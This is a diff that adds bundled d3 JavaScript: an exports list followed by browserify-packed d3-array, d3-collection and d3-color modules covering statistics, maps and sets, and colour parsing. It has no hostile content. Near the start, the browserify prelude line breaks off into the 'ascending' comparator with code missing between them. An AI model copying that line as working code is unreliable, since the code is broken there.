+exports.schemeAccent = Accent; +exports.schemeBlues = scheme$l; +exports.schemeBrBG = scheme; +exports.schemeBuGn = scheme$9; +exports.schemeBuPu = scheme$a; +exports.schemeCategory10 = category10; +exports.schemeDark2 = Dark2; +exports.schemeGnBu = scheme$b; +exports.schemeGreens = scheme$m; +exports.schemeGreys = scheme$n; +exports.schemeOrRd = scheme$c; +exports.schemeOranges = scheme$q; +exports.schemePRGn = scheme$1; +exports.schemePaired = Paired; +exports.schemePastel1 = Pastel1; +exports.schemePastel2 = Pastel2; +exports.schemePiYG = scheme$2; +exports.schemePuBu = scheme$e; +exports.schemePuBuGn = scheme$d; +exports.schemePuOr = scheme$3; +exports.schemePuRd = scheme$f; +exports.schemePurples = scheme$o; +exports.schemeRdBu = scheme$4; +exports.schemeRdGy = scheme$5; +exports.schemeRdPu = scheme$g; +exports.schemeRdYlBu = scheme$6; +exports.schemeRdYlGn = scheme$7; +exports.schemeReds = scheme$p; +exports.schemeSet1 = Set1; +exports.schemeSet2 = Set2; +exports.schemeSet3 = Set3; +exports.schemeSpectral = scheme$8; +exports.schemeTableau10 = Tableau10; +exports.schemeYlGn = scheme$i; +exports.schemeYlGnBu = scheme$h; +exports.schemeYlOrBr = scheme$j; +exports.schemeYlOrRd = scheme$k; +exports.select = select; +exports.selectAll = selectAll; +exports.selection = selection; +exports.selector = selector; +exports.selectorAll = selectorAll; +exports.set = set$2; +exports.shuffle = shuffle; +exports.stack = stack; +exports.stackOffsetDiverging = diverging$1; +exports.stackOffsetExpand = expand; +exports.stackOffsetNone = none$1; +exports.stackOffsetSilhouette = silhouette; +exports.stackOffsetWiggle = wiggle; +exports.stackOrderAppearance = appearance; +exports.stackOrderAscending = ascending$3; +exports.stackOrderDescending = descending$2; +exports.stackOrderInsideOut = insideOut; +exports.stackOrderNone = none$2; +exports.stackOrderReverse = reverse; +exports.stratify = stratify; +exports.style = styleValue; +exports.sum = sum; +exports.svg = svg; +exports.symbol = symbol; +exports.symbolCircle = circle$2; +exports.symbolCross = cross$2; +exports.symbolDiamond = diamond; +exports.symbolSquare = square; +exports.symbolStar = star; +exports.symbolTriangle = triangle; +exports.symbolWye = wye; +exports.symbols = symbols; +exports.text = text; +exports.thresholdFreedmanDiaconis = freedmanDiaconis; +exports.thresholdScott = scott; +exports.thresholdSturges = thresholdSturges; +exports.tickFormat = tickFormat; +exports.tickIncrement = tickIncrement; +exports.tickStep = tickStep; +exports.ticks = ticks; +exports.timeDay = day; +exports.timeDays = days; +exports.timeFormatDefaultLocale = defaultLocale$1; +exports.timeFormatLocale = formatLocale$1; +exports.timeFriday = friday; +exports.timeFridays = fridays; +exports.timeHour = hour; +exports.timeHours = hours; +exports.timeInterval = newInterval; +exports.timeMillisecond = millisecond; +exports.timeMilliseconds = milliseconds; +exports.timeMinute = minute; +exports.timeMinutes = minutes; +exports.timeMonday = monday; +exports.timeMondays = mondays; +exports.timeMonth = month; +exports.timeMonths = months; +exports.timeSaturday = saturday; +exports.timeSaturdays = saturdays; +exports.timeSecond = second; +exports.timeSeconds = seconds; +exports.timeSunday = sunday; +exports.timeSundays = sundays; +exports.timeThursday = thursday; +exports.timeThursdays = thursdays; +exports.timeTuesday = tuesday; +exports.timeTuesdays = tuesdays; +exports.timeWednesday = wednesday; +exports.timeWednesdays = wednesdays; +exports.timeWeek = sunday; +exports.timeWeeks = sundays; +exports.timeYear = year; +exports.timeYears = years; +exports.timeout = timeout$1; +exports.timer = timer; +exports.timerFlush = timerFlush; +exports.touch = touch; +exports.touches = touches; +exports.transition = transition; +exports.transpose = transpose; +exports.tree = tree; +exports.treemap = index$3; +exports.treemapBinary = binary; +exports.treemapDice = treemapDice; +exports.treemapResquarify = resquarify; +exports.treemapSlice = treemapSlice; +exports.treemapSliceDice = sliceDice; +exports.treemapSquarify = squarify; +exports.tsv = tsv$1; +exports.tsvFormat = tsvFormat; +exports.tsvFormatBody = tsvFormatBody; +exports.tsvFormatRow = tsvFormatRow; +exports.tsvFormatRows = tsvFormatRows; +exports.tsvFormatValue = tsvFormatValue; +exports.tsvParse = tsvParse; +exports.tsvParseRows = tsvParseRows; +exports.utcDay = utcDay; +exports.utcDays = utcDays; +exports.utcFriday = utcFriday; +exports.utcFridays = utcFridays; +exports.utcHour = utcHour; +exports.utcHours = utcHours; +exports.utcMillisecond = millisecond; +exports.utcMilliseconds = milliseconds; +exports.utcMinute = utcMinute; +exports.utcMinutes = utcMinutes; +exports.utcMonday = utcMonday; +exports.utcMondays = utcMondays; +exports.utcMonth = utcMonth; +exports.utcMonths = utcMonths; +exports.utcSaturday = utcSaturday; +exports.utcSaturdays = utcSaturdays; +exports.utcSecond = second; +exports.utcSeconds = seconds; +exports.utcSunday = utcSunday; +exports.utcSundays = utcSundays; +exports.utcThursday = utcThursday; +exports.utcThursdays = utcThursdays; +exports.utcTuesday = utcTuesday; +exports.utcTuesdays = utcTuesdays; +exports.utcWednesday = utcWednesday; +exports.utcWednesdays = utcWednesdays; +exports.utcWeek = utcSunday; +exports.utcWeeks = utcSundays; +exports.utcYear = utcYear; +exports.utcYears = utcYears; +exports.values = values; +exports.variance = variance; +exports.version = version; +exports.voronoi = voronoi; +exports.window = defaultView; +exports.xml = xml; +exports.zip = zip; +exports.zoom = zoom; +exports.zoomIdentity = identity$9; +exports.zoomTransform = transform$1; + +Object.defineProperty(exports, '__esModule', { value: true }); + +})); + +;(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o b ? 1 : a >= b ? 0 : NaN; + } + + function bisector(compare) { + if (compare.length === 1) compare = ascendingComparator(compare); + return { + left: function(a, x, lo, hi) { + if (lo == null) lo = 0; + if (hi == null) hi = a.length; + while (lo < hi) { + var mid = lo + hi >>> 1; + if (compare(a[mid], x) < 0) lo = mid + 1; + else hi = mid; + } + return lo; + }, + right: function(a, x, lo, hi) { + if (lo == null) lo = 0; + if (hi == null) hi = a.length; + while (lo < hi) { + var mid = lo + hi >>> 1; + if (compare(a[mid], x) > 0) hi = mid; + else lo = mid + 1; + } + return lo; + } + }; + } + + function ascendingComparator(f) { + return function(d, x) { + return ascending(f(d), x); + }; + } + + var ascendingBisect = bisector(ascending); + var bisectRight = ascendingBisect.right; + var bisectLeft = ascendingBisect.left; + + function descending(a, b) { + return b < a ? -1 : b > a ? 1 : b >= a ? 0 : NaN; + } + + function number(x) { + return x === null ? NaN : +x; + } + + function variance(array, f) { + var n = array.length, + m = 0, + a, + d, + s = 0, + i = -1, + j = 0; + + if (f == null) { + while (++i < n) { + if (!isNaN(a = number(array[i]))) { + d = a - m; + m += d / ++j; + s += d * (a - m); + } + } + } + + else { + while (++i < n) { + if (!isNaN(a = number(f(array[i], i, array)))) { + d = a - m; + m += d / ++j; + s += d * (a - m); + } + } + } + + if (j > 1) return s / (j - 1); + } + + function deviation(array, f) { + var v = variance(array, f); + return v ? Math.sqrt(v) : v; + } + + function extent(array, f) { + var i = -1, + n = array.length, + a, + b, + c; + + if (f == null) { + while (++i < n) if ((b = array[i]) != null && b >= b) { a = c = b; break; } + while (++i < n) if ((b = array[i]) != null) { + if (a > b) a = b; + if (c < b) c = b; + } + } + + else { + while (++i < n) if ((b = f(array[i], i, array)) != null && b >= b) { a = c = b; break; } + while (++i < n) if ((b = f(array[i], i, array)) != null) { + if (a > b) a = b; + if (c < b) c = b; + } + } + + return [a, c]; + } + + var array = Array.prototype; + + var slice = array.slice; + var map = array.map; + + function constant(x) { + return function() { + return x; + }; + } + + function identity(x) { + return x; + } + + function range(start, stop, step) { + start = +start, stop = +stop, step = (n = arguments.length) < 2 ? (stop = start, start = 0, 1) : n < 3 ? 1 : +step; + + var i = -1, + n = Math.max(0, Math.ceil((stop - start) / step)) | 0, + range = new Array(n); + + while (++i < n) { + range[i] = start + i * step; + } + + return range; + } + + var e10 = Math.sqrt(50); + var e5 = Math.sqrt(10); + var e2 = Math.sqrt(2); + function ticks(start, stop, count) { + var step = tickStep(start, stop, count); + return range( + Math.ceil(start / step) * step, + Math.floor(stop / step) * step + step / 2, // inclusive + step + ); + } + + function tickStep(start, stop, count) { + var step0 = Math.abs(stop - start) / Math.max(0, count), + step1 = Math.pow(10, Math.floor(Math.log(step0) / Math.LN10)), + error = step0 / step1; + if (error >= e10) step1 *= 10; + else if (error >= e5) step1 *= 5; + else if (error >= e2) step1 *= 2; + return stop < start ? -step1 : step1; + } + + function sturges(values) { + return Math.ceil(Math.log(values.length) / Math.LN2) + 1; + } + + function histogram() { + var value = identity, + domain = extent, + threshold = sturges; + + function histogram(data) { + var i, + n = data.length, + x, + values = new Array(n); + + for (i = 0; i < n; ++i) { + values[i] = value(data[i], i, data); + } + + var xz = domain(values), + x0 = xz[0], + x1 = xz[1], + tz = threshold(values, x0, x1); + + // Convert number of thresholds into uniform thresholds. + if (!Array.isArray(tz)) tz = ticks(x0, x1, tz); + + // Remove any thresholds outside the domain. + var m = tz.length; + while (tz[0] <= x0) tz.shift(), --m; + while (tz[m - 1] >= x1) tz.pop(), --m; + + var bins = new Array(m + 1), + bin; + + // Initialize bins. + for (i = 0; i <= m; ++i) { + bin = bins[i] = []; + bin.x0 = i > 0 ? tz[i - 1] : x0; + bin.x1 = i < m ? tz[i] : x1; + } + + // Assign data to bins by value, ignoring any outside the domain. + for (i = 0; i < n; ++i) { + x = values[i]; + if (x0 <= x && x <= x1) { + bins[bisectRight(tz, x, 0, m)].push(data[i]); + } + } + + return bins; + } + + histogram.value = function(_) { + return arguments.length ? (value = typeof _ === "function" ? _ : constant(_), histogram) : value; + }; + + histogram.domain = function(_) { + return arguments.length ? (domain = typeof _ === "function" ? _ : constant([_[0], _[1]]), histogram) : domain; + }; + + histogram.thresholds = function(_) { + return arguments.length ? (threshold = typeof _ === "function" ? _ : Array.isArray(_) ? constant(slice.call(_)) : constant(_), histogram) : threshold; + }; + + return histogram; + } + + function quantile(array, p, f) { + if (f == null) f = number; + if (!(n = array.length)) return; + if ((p = +p) <= 0 || n < 2) return +f(array[0], 0, array); + if (p >= 1) return +f(array[n - 1], n - 1, array); + var n, + h = (n - 1) * p, + i = Math.floor(h), + a = +f(array[i], i, array), + b = +f(array[i + 1], i + 1, array); + return a + (b - a) * (h - i); + } + + function freedmanDiaconis(values, min, max) { + values = map.call(values, number).sort(ascending); + return Math.ceil((max - min) / (2 * (quantile(values, 0.75) - quantile(values, 0.25)) * Math.pow(values.length, -1 / 3))); + } + + function scott(values, min, max) { + return Math.ceil((max - min) / (3.5 * deviation(values) * Math.pow(values.length, -1 / 3))); + } + + function max(array, f) { + var i = -1, + n = array.length, + a, + b; + + if (f == null) { + while (++i < n) if ((b = array[i]) != null && b >= b) { a = b; break; } + while (++i < n) if ((b = array[i]) != null && b > a) a = b; + } + + else { + while (++i < n) if ((b = f(array[i], i, array)) != null && b >= b) { a = b; break; } + while (++i < n) if ((b = f(array[i], i, array)) != null && b > a) a = b; + } + + return a; + } + + function mean(array, f) { + var s = 0, + n = array.length, + a, + i = -1, + j = n; + + if (f == null) { + while (++i < n) if (!isNaN(a = number(array[i]))) s += a; else --j; + } + + else { + while (++i < n) if (!isNaN(a = number(f(array[i], i, array)))) s += a; else --j; + } + + if (j) return s / j; + } + + function median(array, f) { + var numbers = [], + n = array.length, + a, + i = -1; + + if (f == null) { + while (++i < n) if (!isNaN(a = number(array[i]))) numbers.push(a); + } + + else { + while (++i < n) if (!isNaN(a = number(f(array[i], i, array)))) numbers.push(a); + } + + return quantile(numbers.sort(ascending), 0.5); + } + + function merge(arrays) { + var n = arrays.length, + m, + i = -1, + j = 0, + merged, + array; + + while (++i < n) j += arrays[i].length; + merged = new Array(j); + + while (--n >= 0) { + array = arrays[n]; + m = array.length; + while (--m >= 0) { + merged[--j] = array[m]; + } + } + + return merged; + } + + function min(array, f) { + var i = -1, + n = array.length, + a, + b; + + if (f == null) { + while (++i < n) if ((b = array[i]) != null && b >= b) { a = b; break; } + while (++i < n) if ((b = array[i]) != null && a > b) a = b; + } + + else { + while (++i < n) if ((b = f(array[i], i, array)) != null && b >= b) { a = b; break; } + while (++i < n) if ((b = f(array[i], i, array)) != null && a > b) a = b; + } + + return a; + } + + function pairs(array) { + var i = 0, n = array.length - 1, p = array[0], pairs = new Array(n < 0 ? 0 : n); + while (i < n) pairs[i] = [p, p = array[++i]]; + return pairs; + } + + function permute(array, indexes) { + var i = indexes.length, permutes = new Array(i); + while (i--) permutes[i] = array[indexes[i]]; + return permutes; + } + + function scan(array, compare) { + if (!(n = array.length)) return; + var i = 0, + n, + j = 0, + xi, + xj = array[j]; + + if (!compare) compare = ascending; + + while (++i < n) if (compare(xi = array[i], xj) < 0 || compare(xj, xj) !== 0) xj = xi, j = i; + + if (compare(xj, xj) === 0) return j; + } + + function shuffle(array, i0, i1) { + var m = (i1 == null ? array.length : i1) - (i0 = i0 == null ? 0 : +i0), + t, + i; + + while (m) { + i = Math.random() * m-- | 0; + t = array[m + i0]; + array[m + i0] = array[i + i0]; + array[i + i0] = t; + } + + return array; + } + + function sum(array, f) { + var s = 0, + n = array.length, + a, + i = -1; + + if (f == null) { + while (++i < n) if (a = +array[i]) s += a; // Note: zero and null are equivalent. + } + + else { + while (++i < n) if (a = +f(array[i], i, array)) s += a; + } + + return s; + } + + function transpose(matrix) { + if (!(n = matrix.length)) return []; + for (var i = -1, m = min(matrix, length), transpose = new Array(m); ++i < m;) { + for (var j = -1, n, row = transpose[i] = new Array(n); ++j < n;) { + row[j] = matrix[j][i]; + } + } + return transpose; + } + + function length(d) { + return d.length; + } + + function zip() { + return transpose(arguments); + } + + exports.bisect = bisectRight; + exports.bisectRight = bisectRight; + exports.bisectLeft = bisectLeft; + exports.ascending = ascending; + exports.bisector = bisector; + exports.descending = descending; + exports.deviation = deviation; + exports.extent = extent; + exports.histogram = histogram; + exports.thresholdFreedmanDiaconis = freedmanDiaconis; + exports.thresholdScott = scott; + exports.thresholdSturges = sturges; + exports.max = max; + exports.mean = mean; + exports.median = median; + exports.merge = merge; + exports.min = min; + exports.pairs = pairs; + exports.permute = permute; + exports.quantile = quantile; + exports.range = range; + exports.scan = scan; + exports.shuffle = shuffle; + exports.sum = sum; + exports.ticks = ticks; + exports.tickStep = tickStep; + exports.transpose = transpose; + exports.variance = variance; + exports.zip = zip; + + Object.defineProperty(exports, '__esModule', { value: true }); + +})); +},{}],2:[function(require,module,exports){ +// https://d3js.org/d3-collection/ Version 1.0.2. Copyright 2016 Mike Bostock. +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : + typeof define === 'function' && define.amd ? define(['exports'], factory) : + (factory((global.d3 = global.d3 || {}))); +}(this, (function (exports) { 'use strict'; + +var prefix = "$"; + +function Map() {} + +Map.prototype = map.prototype = { + constructor: Map, + has: function(key) { + return (prefix + key) in this; + }, + get: function(key) { + return this[prefix + key]; + }, + set: function(key, value) { + this[prefix + key] = value; + return this; + }, + remove: function(key) { + var property = prefix + key; + return property in this && delete this[property]; + }, + clear: function() { + for (var property in this) if (property[0] === prefix) delete this[property]; + }, + keys: function() { + var keys = []; + for (var property in this) if (property[0] === prefix) keys.push(property.slice(1)); + return keys; + }, + values: function() { + var values = []; + for (var property in this) if (property[0] === prefix) values.push(this[property]); + return values; + }, + entries: function() { + var entries = []; + for (var property in this) if (property[0] === prefix) entries.push({key: property.slice(1), value: this[property]}); + return entries; + }, + size: function() { + var size = 0; + for (var property in this) if (property[0] === prefix) ++size; + return size; + }, + empty: function() { + for (var property in this) if (property[0] === prefix) return false; + return true; + }, + each: function(f) { + for (var property in this) if (property[0] === prefix) f(this[property], property.slice(1), this); + } +}; + +function map(object, f) { + var map = new Map; + + // Copy constructor. + if (object instanceof Map) object.each(function(value, key) { map.set(key, value); }); + + // Index array by numeric index or specified key function. + else if (Array.isArray(object)) { + var i = -1, + n = object.length, + o; + + if (f == null) while (++i < n) map.set(i, object[i]); + else while (++i < n) map.set(f(o = object[i], i, object), o); + } + + // Convert object to map. + else if (object) for (var key in object) map.set(key, object[key]); + + return map; +} + +var nest = function() { + var keys = [], + sortKeys = [], + sortValues, + rollup, + nest; + + function apply(array, depth, createResult, setResult) { + if (depth >= keys.length) return rollup != null + ? rollup(array) : (sortValues != null + ? array.sort(sortValues) + : array); + + var i = -1, + n = array.length, + key = keys[depth++], + keyValue, + value, + valuesByKey = map(), + values, + result = createResult(); + + while (++i < n) { + if (values = valuesByKey.get(keyValue = key(value = array[i]) + "")) { + values.push(value); + } else { + valuesByKey.set(keyValue, [value]); + } + } + + valuesByKey.each(function(values, key) { + setResult(result, key, apply(values, depth, createResult, setResult)); + }); + + return result; + } + + function entries(map$$1, depth) { + if (++depth > keys.length) return map$$1; + var array, sortKey = sortKeys[depth - 1]; + if (rollup != null && depth >= keys.length) array = map$$1.entries(); + else array = [], map$$1.each(function(v, k) { array.push({key: k, values: entries(v, depth)}); }); + return sortKey != null ? array.sort(function(a, b) { return sortKey(a.key, b.key); }) : array; + } + + return nest = { + object: function(array) { return apply(array, 0, createObject, setObject); }, + map: function(array) { return apply(array, 0, createMap, setMap); }, + entries: function(array) { return entries(apply(array, 0, createMap, setMap), 0); }, + key: function(d) { keys.push(d); return nest; }, + sortKeys: function(order) { sortKeys[keys.length - 1] = order; return nest; }, + sortValues: function(order) { sortValues = order; return nest; }, + rollup: function(f) { rollup = f; return nest; } + }; +}; + +function createObject() { + return {}; +} + +function setObject(object, key, value) { + object[key] = value; +} + +function createMap() { + return map(); +} + +function setMap(map$$1, key, value) { + map$$1.set(key, value); +} + +function Set() {} + +var proto = map.prototype; + +Set.prototype = set.prototype = { + constructor: Set, + has: proto.has, + add: function(value) { + value += ""; + this[prefix + value] = value; + return this; + }, + remove: proto.remove, + clear: proto.clear, + values: proto.keys, + size: proto.size, + empty: proto.empty, + each: proto.each +}; + +function set(object, f) { + var set = new Set; + + // Copy constructor. + if (object instanceof Set) object.each(function(value) { set.add(value); }); + + // Otherwise, assume it’s an array. + else if (object) { + var i = -1, n = object.length; + if (f == null) while (++i < n) set.add(object[i]); + else while (++i < n) set.add(f(object[i], i, object)); + } + + return set; +} + +var keys = function(map) { + var keys = []; + for (var key in map) keys.push(key); + return keys; +}; + +var values = function(map) { + var values = []; + for (var key in map) values.push(map[key]); + return values; +}; + +var entries = function(map) { + var entries = []; + for (var key in map) entries.push({key: key, value: map[key]}); + return entries; +}; + +exports.nest = nest; +exports.set = set; +exports.map = map; +exports.keys = keys; +exports.values = values; +exports.entries = entries; + +Object.defineProperty(exports, '__esModule', { value: true }); + +}))); + +},{}],3:[function(require,module,exports){ +// https://d3js.org/d3-color/ Version 1.0.2. Copyright 2016 Mike Bostock. +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : + typeof define === 'function' && define.amd ? define(['exports'], factory) : + (factory((global.d3 = global.d3 || {}))); +}(this, (function (exports) { 'use strict'; + +var define = function(constructor, factory, prototype) { + constructor.prototype = factory.prototype = prototype; + prototype.constructor = constructor; +}; + +function extend(parent, definition) { + var prototype = Object.create(parent.prototype); + for (var key in definition) prototype[key] = definition[key]; + return prototype; +} + +function Color() {} + +var darker = 0.7; +var brighter = 1 / darker; + +var reI = "\\s*([+-]?\\d+)\\s*"; +var reN = "\\s*([+-]?\\d*\\.?\\d+(?:[eE][+-]?\\d+)?)\\s*"; +var reP = "\\s*([+-]?\\d*\\.?\\d+(?:[eE][+-]?\\d+)?)%\\s*"; +var reHex3 = /^#([0-9a-f]{3})$/; +var reHex6 = /^#([0-9a-f]{6})$/; +var reRgbInteger = new RegExp("^rgb\\(" + [reI, reI, reI] + "\\)$"); +var reRgbPercent = new RegExp("^rgb\\(" + [reP, reP, reP] + "\\)$"); +var reRgbaInteger = new RegExp("^rgba\\(" + [reI, reI, reI, reN] + "\\)$"); +var reRgbaPercent = new RegExp("^rgba\\(" + [reP, reP, reP, reN] + "\\)$"); +var reHslPercent = new RegExp("^hsl\\(" + [reN, reP, reP] + "\\)$"); +var reHslaPercent = new RegExp("^hsla\\(" + [reN, reP, reP, reN] + "\\)$"); + +var named = { + aliceblue: 0xf0f8ff, + antiquewhite: 0xfaebd7, + aqua: 0x00ffff, + aquamarine: 0x7fffd4, + azure: 0xf0ffff, + beige: 0xf5f5dc, + bisque: 0xffe4c4, + black: 0x000000, + blanchedalmond: 0xffebcd, + blue: 0x0000ff, + blueviolet: 0x8a2be2, + brown: 0xa52a2a, + burlywood: 0xdeb887, + cadetblue: 0x5f9ea0, + chartreuse: 0x7fff00, + chocolate: 0xd2691e, + coral: 0xff7f50, + cornflowerblue: 0x6495ed, + cornsilk: 0xfff8dc, + crimson: 0xdc143c, + cyan: 0x00ffff, + darkblue: 0x00008b, + darkcyan: 0x008b8b, + darkgoldenrod: 0xb8860b, + darkgray: 0xa9a9a9, + darkgreen: 0x006400, + darkgrey: 0xa9a9a9, + darkkhaki: 0xbdb76b, + darkmagenta: 0x8b008b, + darkolivegreen: 0x556b2f, + darkorange: 0xff8c00, + darkorchid: 0x9932cc, + darkred: 0x8b0000, + darksalmon: 0xe9967a, + darkseagreen: 0x8fbc8f, + darkslateblue: 0x483d8b, + darkslategray: 0x2f4f4f, + darkslategrey: 0x2f4f4f, + darkturquoise: 0x00ced1, + darkviolet: 0x9400d3, + deeppink: 0xff1493, + deepskyblue: 0x00bfff, + dimgray: 0x696969, + dimgrey: 0x696969, + dodgerblue: 0x1e90ff, + firebrick: 0xb22222, + floralwhite: 0xfffaf0, + forestgreen: 0x228b22, + fuchsia: 0xff00ff, + gainsboro: 0xdcdcdc, + ghostwhite: 0xf8f8ff, + gold: 0xffd700, + goldenrod: 0xdaa520, + gray: 0x808080, + green: 0x008000, + greenyellow: 0xadff2f, + grey: 0x808080, + honeydew: 0xf0fff0, + hotpink: 0xff69b4, + indianred: 0xcd5c5c, + indigo: 0x4b0082, + ivory: 0xfffff0, + khaki: 0xf0e68c, + lavender: 0xe6e6fa, + lavenderblush: 0xfff0f5, + lawngreen: 0x7cfc00, + lemonchiffon: 0xfffacd, + lightblue: 0xadd8e6, + lightcoral: 0xf08080, + lightcyan: 0xe0ffff, + lightgoldenrodyellow: 0xfafad2, + lightgray: 0xd3d3d3, + lightgreen: 0x90ee90, + lightgrey: 0xd3d3d3, + lightpink: 0xffb6c1, + lightsalmon: 0xffa07a, + lightseagreen: 0x20b2aa, + lightskyblue: 0x87cefa, + lightslategray: 0x778899, + lightslategrey: 0x778899, + lightsteelblue: 0xb0c4de, + lightyellow: 0xffffe0, + lime: 0x00ff00, + limegreen: 0x32cd32, + linen: 0xfaf0e6, + magenta: 0xff00ff, + maroon: 0x800000, + mediumaquamarine: 0x66cdaa, + mediumblue: 0x0000cd, + mediumorchid: 0xba55d3, + mediumpurple: 0x9370db, + mediumseagreen: 0x3cb371, + mediumslateblue: 0x7b68ee, + mediumspringgreen: 0x00fa9a, + mediumturquoise: 0x48d1cc, + mediumvioletred: 0xc71585, + midnightblue: 0x191970, + mintcream: 0xf5fffa, + mistyrose: 0xffe4e1, + moccasin: 0xffe4b5, + navajowhite: 0xffdead, + navy: 0x000080, + oldlace: 0xfdf5e6, + olive: 0x808000, + olivedrab: 0x6b8e23, + orange: 0xffa500, + orangered: 0xff4500, + orchid: 0xda70d6, + palegoldenrod: 0xeee8aa, + palegreen: 0x98fb98, + paleturquoise: 0xafeeee, + palevioletred: 0xdb7093, + papayawhip: 0xffefd5, + peachpuff: 0xffdab9, + peru: 0xcd853f, + pink: 0xffc0cb, + plum: 0xdda0dd, + powderblue: 0xb0e0e6, + purple: 0x800080, + rebeccapurple: 0x663399, + red: 0xff0000, + rosybrown: 0xbc8f8f, + royalblue: 0x4169e1, + saddlebrown: 0x8b4513, + salmon: 0xfa8072, + sandybrown: 0xf4a460, + seagreen: 0x2e8b57, + seashell: 0xfff5ee, + sienna: 0xa0522d, + silver: 0xc0c0c0, + skyblue: 0x87ceeb, + slateblue: 0x6a5acd, + slategray: 0x708090, + slategrey: 0x708090, + snow: 0xfffafa, + springgreen: 0x00ff7f, + steelblue: 0x4682b4, + tan: 0xd2b48c, + teal: 0x008080, + thistle: 0xd8bfd8, + tomato: 0xff6347, + turquoise: 0x40e0d0, + violet: 0xee82ee, + wheat: 0xf5deb3, + white: 0xffffff, + whitesmoke: 0xf5f5f5, + yellow: 0xffff00, + yellowgreen: 0x9acd32 +}; + +define(Color, color, { + displayable: function() { + return this.rgb().displayable(); + }, + toString: function() { + return this.rgb() + ""; + } +}); + +function color(format) { + var m; + format = (format + "").trim().toLowerCase(); + return (m = reHex3.exec(format)) ? (m = parseInt(m[1], 16), new Rgb((m >> 8 & 0xf) | (m >> 4 & 0x0f0), (m >> 4 & 0xf) | (m & 0xf0), ((m & 0xf) << 4) | (m & 0xf), 1)) // #f00 + : (m = reHex6.exec(format)) ? rgbn(parseInt(m[1], 16)) // #ff0000 + : (m = reRgbInteger.exec(format)) ? new Rgb(m[1], m[2], m[3], 1) // rgb(255, 0, 0) + : (m = reRgbPercent.exec(format)) ? new Rgb(m[1] * 255 / 100, m[2] * 255 / 100, m[3] * 255 / 100, 1) // rgb(100%, 0%, 0%) + : (m = reRgbaInteger.exec(format)) ? rgba(m[1], m[2], m[3], m[4]) // rgba(255, 0, 0, 1) + : (m = reRgbaPercent.exec(format)) ? rgba(m[1] * 255 / 100, m[2] * 255 / 100, m[3] * 255 / 100, m[4]) // rgb(100%, 0%, 0%, 1) + : (m = reHslPercent.exec(format)) ? hsla(m[1], m[2] / 100, m[3] / 100, 1) // hsl(120, 50%, 50%) + : (m = reHslaPercent.exec(format)) ? hsla(m[1], m[2] / 100, m[3] / 100, m[4]) // hsla(120, 50%, 50%, 1) + : named.hasOwnProperty(format) ? rgbn(named[format]) + : format === "transparent" ? new Rgb(NaN, NaN, NaN, 0) + : null; +} + +function rgbn(n) { + return new Rgb(n >> 16 & 0xff, n >> 8 & 0xff, n & 0xff, 1); +} + +function rgba(r, g, b, a) { + if (a <= 0) r = g = b = NaN; + return new Rgb(r, g, b, a); +} + +function rgbConvert(o) { + if (!(o instanceof Color)) o = color(o); + if (!o) return new Rgb; + o = o.rgb(); + return new Rgb(o.r, o.g, o.b, o.opacity); +} + +function rgb(r, g, b, opacity) { + return arguments.length === 1 ? rgbConvert(r) : new Rgb(r, g, b, opacity == null ? 1 : opacity); +} + +function Rgb(r, g, b, opacity) { + this.r = +r; + this.g = +g; + this.b = +b; + this.opacity = +opacity; +} + +define(Rgb, rgb, extend(Color, { + brighter: function(k) { + k = k == null ? brighter : Math.pow(brighter, k); + return new Rgb(this.r * k, this.g * k, this.b * k, this.opacity); + }, + darker: function(k) { + k = k == null ? darker : Math.pow(darker, k); + return new Rgb(this.r * k, this.g * k, this.b * k, this.opacity); + }, + rgb: function() { + return this; + }, + displayable: function() { + return (0 <= this.r && this.r <= 255) + && (0 <= this.g && this.g <= 255) + && (0 <= this.b && this.b <= 255) + && (0 <= this.opacity && this.opacity <= 1); + }, + toString: function() { + var a = this.opacity; a = isNaN(a) ? 1 : Math.max(0, Math.min(1, a)); + return (a === 1 ? "rgb(" : "rgba(") + + Math.max(0, Math.min(255, Math.round(this.r) || 0)) + ", " + + Math.max(0, Math.min(255, Math.round(this.g) || 0)) + ", " + + Math.max(0, Math.min(255, Math.round(this.b) || 0)) + + (a === 1 ? ")" : ", " + a + ")"); + } +})); + +function hsla(h, s, l, a) { + if (a <= 0) h = s = l = NaN; + else if (l <= 0 || l >= 1) h = s = NaN; + else if (s <= 0) h = NaN; + return new Hsl(h, s, l, a); +} + +function hslConvert(o) { + if (o instanceof Hsl) return new Hsl(o.h, o.s, o.l, o.opacity); + if (!(o instanceof Color)) o = color(o); + if (!o) return new Hsl; + if (o instanceof Hsl) return o; + o = o.rgb(); + var r = o.r / 255, + g = o.g / 255, + b = o.b / 255, + min = Math.min(r, g, b), + max = Math.max(r, g, b), + h = NaN, + s = max - min, + l = (max + min) / 2; + if (s) { + if (r === max) h = (g - b) / s + (g < b) * 6; + else if (g === max) h = (b - r) / s + 2; + else h = (r - g) / s + 4; + s /= l < 0.5 ? max + min : 2 - max - min; + h *= 60; + } else { + s = l > 0 && l < 1 ? 0 : h; + } + return new Hsl(h, s, l, o.opacity); +} + +function hsl(h, s, l, opacity) { + return arguments.length === 1 ? hslConvert(h) : new Hsl(h, s, l, opacity == null ? 1 : opacity); +} + +function Hsl(h, s, l, opacity) { + this.h = +h; + this.s = +s; + this.l = +l; + this.opacity = +opacity; +} + +define(Hsl, hsl, extend(Color, { + brighter: function(k) { + k = k == null ? brighter : Math.pow(brighter, k); + return new Hsl(this.h, this.s, this.l * k, this.opacity); + }, + darker: function(k) { + k = k == null ? darker : Math.pow(darker, k); + return new Hsl(this.h, this.s, this.l * k, this.opacity); + }, + rgb: function() { + var h = this.h % 360 + (this.h < 0) * 360, + s = isNaN(h) || isNaN(this.s) ? 0 : this.s, + l = this.l, + m2 = l + (l < 0.5 ? l : 1 - l) * s, + m1 = 2 * l - m2; + return new Rgb( + hsl2rgb(h >= 240 ? h - 240 : h + 120, m1, m2), + hsl2rgb(h, m1, m2), + hsl2rgb(h < 120 ? h + 240 : h - 120, m1, m2), + this.opacity + ); + }, + displayable: function() { + return (0 <= this.s && this.s <= 1 || isNaN(this.s)) + && (0 <= this.l && this.l <= 1) + && (0 <= this.opacity && this.opacity <= 1); + } +})); + +/* From FvD 13.37, CSS Color Module Level 3 */ 